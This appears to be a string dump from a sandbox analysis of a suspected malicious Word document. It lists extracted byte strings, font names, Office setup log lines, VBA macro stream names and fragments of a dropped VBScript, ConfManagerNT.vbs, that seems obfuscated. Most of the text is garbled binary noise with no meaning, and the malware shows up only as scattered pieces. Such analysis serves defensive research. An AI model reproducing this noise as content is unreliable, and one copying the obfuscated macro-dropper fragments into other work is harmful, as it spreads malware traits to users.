Unicode based on Runtime Data (WINWORD.EXE )

Cewhjm[N#z6Zv=]R>w[]y:h@~"tdCc:tp,]:@Gv:t8CuX#:9@7kA6ceH7`qD#Ev

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

CH)$8G<pBicknv+9\GwSj&0@qxv

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

chQdciK%Ss\OIf\UC'KU>SrRPplN>9;[JP7f\|h?{]vYg:lYJ,lB7n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Colonna MT

Unicode based on Runtime Data (WINWORD.EXE )

Comic Sans MS

Unicode based on Runtime Data (WINWORD.EXE )

Command Line: ADDLOCAL=MetricConverterIntl_1033,AlwaysInstalledIntl_1033,MSTagPluginStockFilesIntl_1033,VBAHelpFilesIntl_1033,GraphicsFiltersPNGFilesIntl_1033,EquationEditorFilesIntl_1033,GraphicsFiltersEPSFilesIntl_1033,MSTagPluginNamesFilesIntl_1033,TCWP5FilesIntl_1033,CAGOffice10Intl_1033,OISFilesIntl_1033,WxpFilesIntl_1033,XDOCSEditorFilesIntl_1033,CAGFilesIntl_1033,WISPHiddenIntl_1033,CAGCat10Intl_1033,SetLanguageFilesIntl_1033,OSetupControllerIntl_1033,MsoInstalledPackagesScopedIntl_1033,TCRecoverFilesIntl_1033,SetupControllerFiles,ClviewFilesIntl_1033,GraphHelpFilesIntl_1033,ProductNonBootFilesIntl_1033,MSTagPluginPlacesFiles_1033,VisioPreviewerIntl_1033,ProductFilesIntl_1033,AceReplIntl_1033,GraphicsFiltersCGMFilesIntl_1033,GraphicsFiltersWPGFilesIntl_1033,Gimme_OnDemandData,TCWP6FilesIntl_1033,GraphicsFiltersGIFFilesIntl_1033,GRAPHFilesIntl_1033,MSTagPluginDateFilesIntl_1033,WebDriveFilesIntl_1033,LOBiFilesIntl_1033,LISTFilesIntl_1033,UICaptionsCompanionIntl_1033,SetupXmlFiles,AceFilesIntl_1033,TOOLSFilesIntl_1033,MSSOAP3Intl_1033,GraphicsFiltersPICTFilesIntl_1033,OfficeDigitalSFilesIntl_1033,VBAFilesIntl_1033,GraphicsFiltersJPEGFilesIntl_1033,QueryFilesIntl_1033,SetLanguageHelpFilesIntl_1033 REINSTALLMODE=eam SETUPEXE_DOARPWRITE="1" ARPENTRY_DISPLAYNAME="Microsoft Office Professional Plus 2010" ARPENTRY_NOELEVATEONMODIFY="#0" ARPENTRY_NOMODIFY="#0" ARPENTRY_CONTACT="" ARPENTRY_DISPLAYICON="" USERNAME="HAPUBWS" ARPENTRY_PACKAGEREFS="[~]Office32WW[~]Office32MUI.en-us[~]AccessMUI.en-us[~]InfoPathMUI.en-us[~]ExcelMUI.en-us[~]OfficeMUISet.en-us[~]OfficeMUI.en-us[~]WordMUI.en-us[~]Proofing.en-us[~]Proof.en-us[~]Proof.es-es[~]OutlookMUI.en-us[~]GrooveMUI.en-us[~]ProPlusWW[~]OneNoteMUI.en-us[~]PublisherMUI.en-us[~]AccessMUISet.en-us[~]Proof.fr-fr[~]PowerPointMUI.en-us[~]" ACCEPTEDEULA="1" ARPENTRY_DISPLAYVERSION="14.0.4763.1000" ARPENTRY_UNINSTALLSTRING="""%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\setup.exe"" /uninstall PROPLUS" ARPENTRY_NOREPAIR="#1" USERINITIALS="H" ARPENTRY_MODIFYPATH="""C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\setup.exe"" /modify PROPLUS" ARPENTRY_HELPTELEPHONE="" ARPENTRY_URLUPDATEINFO="" ARPENTRY_SPPSKUID="[~]6F327760-8C5C-417C-9B61-836A98287E0C[~][~]" BRANDING_XML="C:\Users\%USERNAME%\AppData\Local\Temp\Setup00000b84\BRANDING.XML" ARPENTRY_SKUCOMPONENTS="[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Publisher.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Excel.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Office.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Proofing.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Groove.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\OneNote.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Outlook.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\InfoPath.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Access.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Office32.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Word.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\PowerPoint.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\PROPLUS\setup.xml[~]" ARPENTRY_URLINFOABOUT="" ARPENTRY_NOREMOVE="#0" ARPENTRY_PRODUCTCODES="[~]{90140000-0043-0409-1000-0000000FF1CE}[~]{90140000-0044-0409-1000-0000000FF1CE}[~]{90140000-001F-0C0A-1000-0000000FF1CE}[~]{90140000-006E-0409-1000-0000000FF1CE}[~]{90140000-0011-0000-1000-0000000FF1CE}[~]{90140000-0043-0000-1000-0000000FF1CE}[~]{90140000-002C-0409-1000-0000000FF1CE}[~]{90140000-00BA-0409-1000-0000000FF1CE}[~]{90140000-001B-0409-1000-0000000FF1CE}[~]{90140000-0019-0409-1000-0000000FF1CE}[~]{90140000-0117-0409-1000-0000000FF1CE}[~]{90140000-0015-0409-1000-0000000FF1CE}[~]{90140000-00A1-0409-1000-0000000FF1CE}[~]{90140000-001F-0409-1000-0000000FF1CE}[~]{90140000-001F-040C-1000-0000000FF1CE}[~]{90140000-001A-0409-1000-0000000FF1CE}[~]{90140000-0016-0409-1000-0000000FF1CE}[~]{90140000-0018-0409-1000-0000000FF1CE}[~]{90140000-0115-0409-1000-0000000FF1CE}[~]" ARPENTRY_SHELLUITRANSFORMLANGUAGE="en-us" SETUPEXEINSTALLUICULTURE="en-US" ARPENTRY_INSTALLLOCATION="C:\Program Files\Microsoft Office" ARPENTRY_CACHELOCATION="C:\MSOCache\All Users" ARPENTRY_HELPLINK="" INSTALLLOCATION="C:\Program Files\Microsoft Office" REBOOT=ReallySuppress LAUNCHEDBYSETUPEXE=1 MSIRESTARTMANAGERCONTROL="Disable" SETUPEXEINSTALLUILANGUAGE=1033 SETUPINTLDLLDIRECTORY="C:\Users\%USERNAME%\AppData\Local\Temp\Setup00000b84\"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Command line: "%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Setup.exe" -Embedding

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

CommandButtonEvents

Unicode based on Runtime Data (WINWORD.EXE )

Configured Option: OSpp_Core to State: Reinstall

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Configuring Product: {90140000-0011-0000-1000-0000000FF1CE}

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Constantia

Unicode based on Runtime Data (WINWORD.EXE )

CONTROL Forms.TextBox.1 \s

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ControlEvents

Unicode based on Runtime Data (WINWORD.EXE )

ConvertersFiltersFile:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Cooper Black

Unicode based on Runtime Data (WINWORD.EXE )

Copperplate Gothic Bold

Unicode based on Runtime Data (WINWORD.EXE )

Copperplate Gothic Light

Unicode based on Runtime Data (WINWORD.EXE )

Cordia New

Unicode based on Runtime Data (WINWORD.EXE )

CordiaUPC

Unicode based on Runtime Data (WINWORD.EXE )

Courier New

Unicode based on Runtime Data (WINWORD.EXE )

cq7}ZrP#j273H!;upD071ZySq0J|,ho;e@f+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

CqB7/WO+m#lCPr\I6~TuA;:X'75@>:S

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Cu/gYC^n8u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Cu~e[6vob_U@oT!^~sI*xtC?':hH/?!T;4Lug?qjO:tpl^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Cv!6u;D[!q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

CW7.3dtx7/*.6a27$&C#MFd'AsnfA.2ou^6Y+W6Mx$T~TGi{tIO3K{ag^d<;eE8o=8g1O75\yWt"=,m=$;^5h4Wr.[}svW^?T|Vhf~+R09_GE4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

CXRh"[dTIp)tD1T4hMFpvyD:IS`HF03%p 'haiX:NH')"0hL:"Z&K:f`x^lv+{fg'4P^]+9yXz1%=dS<~]F('Gj'Z:2!*~3cg~a~oa9'FY1ew.RZ^?fdhq}CP,N,@,4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

CZ9TjI,n7[X&=Kny;y3fY^d#vvx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

c{V>T"/6.*Jf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

C~q1/oqe!af<{(ajxXf0<k,YnlIzWiYgA;29,XnqL{{L`b"H]LLl][bmU[[-1C&rH,( }32+ff6fE[X4 5}8Ha#&"h=}~f)f6[k1-Q9?w3,,02.54>00>Q`s00>)YpPr_*%7uq+=>gw HB3~?Lw{>EL o'7-dx}3{x}+h?`x43G4Kn"x9-%Nr}]T<gL^Qtp

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

d$lU}U^t,v7./WgJ_u7d2SN\-*1l[QsayVvs=q(N>Nf,vU,/&OfK@[*u0boX^Ak/szmjGx:t#V^fke}wW[EW7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

D'}.U<zyMKe*3}S7Y`as

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

D(>]vM,tf$}ZtM:xCq*fH}e4OC#@=8fli -i5 haw=G,.T'\t4C

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

D)<?.@ p.gG~y_yY__5\.gjOj'jf0moRup`iYYXZ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

D*2NH]]sy]I_(yX Q$RZUd0 %5UhyU5<(!=X,89`a :a`PS]]\1gc

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

d,7VPSy'Tit74b4 YADz|$?)TbH9Oa/S7I

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

d2"2_dgi)-#(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

D3nx.pk~L:fk(Ml:8Pk5"{ux*?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

D7z1gm0\nl=RtC40j(o.m-g*jo<vwkA_u]7+tHGS"zudt}tELPk,jz}4fpHu':!z%04'*Vp-^nZ'3Co`U=7?vzT3 ={wNuArv23\a""

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

d;>mlOHLNA

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

d?l0-#L2$I.EPNJ23-Dd|!S:XeP p 3A,=R"'V]0'V`{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

D[@j=yx5gGjYb>Fg-X,%Zn'7>bP-mYp`:f

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

d\t+1q0oc[6]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

D^_|,"Nb6[`D]{rO=Zc#!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

d`{B\V2d29zyITr2RmG _?lPtHBt6uFKQJ%R/SI>dU=AH!zqO^7fiJRs2:])\}zrGdGMR4_A'|4'#?Ho:/q=.@6W5NaaM^:M

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

DCubeHidden:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

deR)2q9qB)"K/DZ`YrE$I8@,<k"""!Wx>_{/RJ7VGL9G'OeYK%i#gaKl`yoe_Ydg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

deT7pN!u$SE?AX

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Determining ARP entry registry values.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

DeveloperWizards:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

dfgIskFgaR="(3.41G/.F(1F(2DK.;X3("

Ansi based on Dropped File (ConfManagerNT.vbs)

dFY)~jq/$'({N5~Vrt{6h7*?woh. LmQ>hIsBx8x]dxM{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

DgUl?Ds0u$Sj%\ql9U$Zi*JO$_<}g:K=~E?_^t{z3:&'m'bkonnEyaK9s:?[{J\aO$B#C=uT2MXCnEv?"k8#u]\}uhML{{ $C~=n\o\w~|K$NRoq.[Vjqoh1(,Igov#ZC9LFZR<i2&[}=]{d"WWN*7-<92w=cX])$[ClSC"gP0{v'_Sa%K@ AI2I05qo=~C6:aLH$W.=39)K9R`h2@OqFo$~M-J#aLyNx+W91(T

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

di-U<!CoD#puJRk]Y7GO~%Cd

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

dialect = "http://schemas.dmtf.org/wbem/wsman/1/cimbinding/AssociationFilter"

Ansi based on Dropped File (ConfManagerNT.vbs)

dialect = "http://schemas.dmtf.org/wbem/wsman/1/wsman/SelectorFilter"

Ansi based on Dropped File (ConfManagerNT.vbs)

dialect = "http://schemas.microsoft.com/wbem/wsman/1/WQL"

Ansi based on Dropped File (ConfManagerNT.vbs)

dialect = cmdlineOptions.Argument(NPARA_DIALECT)

Ansi based on Dropped File (ConfManagerNT.vbs)

dialect = URI_WQL_DIALECT

Ansi based on Dropped File (ConfManagerNT.vbs)

DilleniaUPC

Unicode based on Runtime Data (WINWORD.EXE )

Dim action

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim analysisInputXml

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim analysisOutput

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim analysisOutputXml

Ansi based on Dropped File (ConfManagerNT.vbs)

dim aNode

Ansi based on Dropped File (ConfManagerNT.vbs)

dim answer

Ansi based on Dropped File (ConfManagerNT.vbs)

dim bReturn

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim currentElement

Ansi based on Dropped File (ConfManagerNT.vbs)

dim dialect

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim displayText

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim elementList

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim enabled

Ansi based on Dropped File (ConfManagerNT.vbs)

dim expectedLength

Ansi based on Dropped File (ConfManagerNT.vbs)

dim filter

Ansi based on Dropped File (ConfManagerNT.vbs)

dim flags

Ansi based on Dropped File (ConfManagerNT.vbs)

dim formattedText

Ansi based on Dropped File (ConfManagerNT.vbs)

dim iResult

Ansi based on Dropped File (ConfManagerNT.vbs)

dim matches

Ansi based on Dropped File (ConfManagerNT.vbs)

dim oDriver

Ansi based on Dropped File (ConfManagerNT.vbs)

dim oError

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim optionsValue

Ansi based on Dropped File (ConfManagerNT.vbs)

dim oService

Ansi based on Dropped File (ConfManagerNT.vbs)

dim paramMap

Ansi based on Dropped File (ConfManagerNT.vbs)

dim qmpos

Ansi based on Dropped File (ConfManagerNT.vbs)

dim regexpObj

Ansi based on Dropped File (ConfManagerNT.vbs)

dim resourceLocator

Ansi based on Dropped File (ConfManagerNT.vbs)

dim resultDictionary

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim resultText

Ansi based on Dropped File (ConfManagerNT.vbs)

dim resUriLCase

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim source

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim status

Ansi based on Dropped File (ConfManagerNT.vbs)

dim strCommand

Ansi based on Dropped File (ConfManagerNT.vbs)

dim strFullName

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim transport

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim updateInputXml

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim updateOutput

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim updateOutputXml

Ansi based on Dropped File (ConfManagerNT.vbs)

dim uResult

Ansi based on Dropped File (ConfManagerNT.vbs)

dim uriTmp

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim value

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim xpathEnabled

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim xpathResult

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim xpathStatus

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim xpathText

Ansi based on Dropped File (ConfManagerNT.vbs)

Dim xpathUpdate

Ansi based on Dropped File (ConfManagerNT.vbs)

DisableAttachementsInPV

Unicode based on Runtime Data (powershell.exe )

DisableInternetFilesInPV

Unicode based on Runtime Data (powershell.exe )

DisableUnsafeLocationsInPV

Unicode based on Runtime Data (powershell.exe )

displayText = GetElementByXpath(analysisOutput, xpathText)

Ansi based on Dropped File (ConfManagerNT.vbs)

dm/L4MliIz1&.tT\3\Z^:x4W7NAL'm/!;jaNgS/??"T$mwrm6 K#2['|?HyYccU!,RNh/~NC&toF9

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

do while Not e.AtEndOfStream

Ansi based on Dropped File (ConfManagerNT.vbs)

DocumentImagingUtils:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

DocumentSummaryInformation8MacrosPOt&+&VBAPOt&I&ThisDocument^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

DokChampa

Unicode based on Runtime Data (WINWORD.EXE )

Drem'%5Zf~~!gzp#(TCsXG#=@<y{\Y #L%g9,8?\x,eZ'2,o+`vMZ*`u+*469QiuSKeOBSX

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

dummy_Office_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

DV&.=-Us!;o!DFgq#dW}H.Iw-&H?S&?#&HPV~)K%_%.a@(~)t~`]~*GS^\kv8&-q1,F}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

DV<<E0ZNd73p[`ddcL4iY.PpdE,h{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

dWdk'/JI+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

dx[q1403WiB>9D,tCD ~U=YdHg$H}d*rkB_[-esl#ilx2>DN*X{F$=TK'P:Jn_<ww6g?L/= C(/YU83(^8#PY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

DXV+BgJpe\E^(t-MQQ>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Dy`SCN9A6#UHS(A, HHc1F0fFmm}AvD[C1w8}ASD.~V_|9C-l

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Dyt9d OH3//>F:s}#DiM<Vy8FFI\lIcWGX9<u>%MNd";iNqkU&n\7#a<zE<5{|tiSo:I=<Jf+Nc=F|;\&-+a7'C=AHlT"-2A"

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

dYWg"|XZVNF,Q \ymCTb:GGYf%5un%U*cV(8/#Y}*E3ZQAsf}JX,Aeh,``80"|c8UQ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

d}\/kyw5/A7(Tf

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

e&HUG]3@i3tg

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

E'EuWtU &*.BQ5

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

e,?,$ (T|{Bx.hUB-t[<e2"c)!t)i%`-d%W6%sFyaVJssyI NUSI$)FCA8~UK1@H0bqdhb,d3oHy

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

e,@{TV}uF"XHx7iL8zodhuGx55El/3P2;\exGw3KbA& {2^yN2wNJ-n<\_*MAW KF$

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

E-,^Ecu,FhSa(?BZF`(-

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

e.Timeout = cmdlineOptions.Argument(NPARA_TIMEOUT)

Ansi based on Dropped File (ConfManagerNT.vbs)

E0)-+%iH<$5r#}L}Yq/7bjXMWq_267qXD,r*`#*q{r!V@P{d3Q,*9}i!, s2wAH";%'k!"M,_s^mM30ze<|8~_'|,Z*hnDGCr5~"+v2txE!NZaLr=5NlQ;Nt426'<t_UGPD00wF-N[0o\5[K

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

e7vu:zZ"l!MWIkGt}KE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

e8]V??w7hhhL0^3Ax

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

e>H^f|,;wvYYZ*333e\y45QFF23;]saa.&CjDd<Ef

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

e[|bVy~K:L@sm<Y[wm[2F5|^*=YMz06w-?mX/V40~|0z'|~aR5ZOiwE8U+q~)!0\'JQ mEzn?YI+i,3aeF{]-zM=;i?U_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

E\qb'LNJPm7D'h:ZZ0LJN[EiZ74oA_]i/euK+FT&nI7+~yHB77q.R</eayI+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

eB%kzVTZKv}Td+wTgD&-n]fc`uW/co^#3,>i>Gem"z8OWP= t1d]v]iO

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ec*/jnoq1-(ScLs[OGfT>{u]R7]QV<85UK%`.JuPQ4wubyf8t#pZSOQ-rdP??#eQ[w\C5D/&-Oxu?:? ZFX[!{?7Gti2xCq*z*)`z6]n/;*q9lCzZ1JuAo9~wzD+?A]Nj1|'=nFjW0QmDMegcxFZPo y#HzvPZjIK(\Z9'M\v)He^>YUHsaXj_L_(esPfgKs7JOsyZ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ec>U3<N<9MW#f3<5{6W]y%.j

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Edwardian Script ITC

Unicode based on Runtime Data (WINWORD.EXE )

EePeqsN~+rjqubK>2xUa~Bg\HG0`r-9dlT,.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

eGP0.hqp7~KNSyxffipww745KK34mLv^:~/#odi<ohYM4qKp~5VAZ|()P{W(Vf7)fh\\Jn'4A5C3R{nF#*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

egyCBpAoyB.6^;7ZemJ8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

eHu2ilaG~JhNrruUWstY_z+U%/6_.u?RCy>-_>_sSD 3Ft(7u%u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ej):/w''HmecOvNYiXB#Hu6

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

EJ2WVYK2/cSw'9V*9.WK(>z9P=<s^pOe)W}UCXG_'s-er+G">;U'8ML2u dPu[Is-iH w&;T}J C~G'r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

EL&PY"lTq35I+Tj{D{V4~3!\;{\FGT!T<ib\:M!>nw#66iJcccus!jm5_3yF(mdks>v>zOZW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

elseif (cmdlineOptions.ArgumentExists(NPARA_BASE_PROPS_ONLY)) then

Ansi based on Dropped File (ConfManagerNT.vbs)

ElseIf (cmdlineOptions.ArgumentExists(NPARA_FORCE)) Then

Ansi based on Dropped File (ConfManagerNT.vbs)

ElseIf hashString <> "{}" Then

Ansi based on Dropped File (ConfManagerNT.vbs)

elseif InStr(resUriLCase, URI_WMI) <> 0 then

Ansi based on Dropped File (ConfManagerNT.vbs)

enabled = GetElementByXpath(analysisOutput, xpathEnabled)

Ansi based on Dropped File (ConfManagerNT.vbs)

ENd fuNcTIOn

Ansi based on Dropped File (ConfManagerNT.vbs)

End function

Ansi based on Dropped File (ConfManagerNT.vbs)

End Function

Ansi based on Dropped File (ConfManagerNT.vbs)

end function

Ansi based on Dropped File (ConfManagerNT.vbs)

end select

Ansi based on Dropped File (ConfManagerNT.vbs)

Engravers MT

Unicode based on Runtime Data (WINWORD.EXE )

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0011-0000-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0015-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0016-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0018-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-0019-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001A-0409-1000-0000000FF1CE}].

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Ensuring the install-state of setup controller feature[SetupControllerFiles] for product[{90140000-001B-0409-1000-0000000FF1CE}].

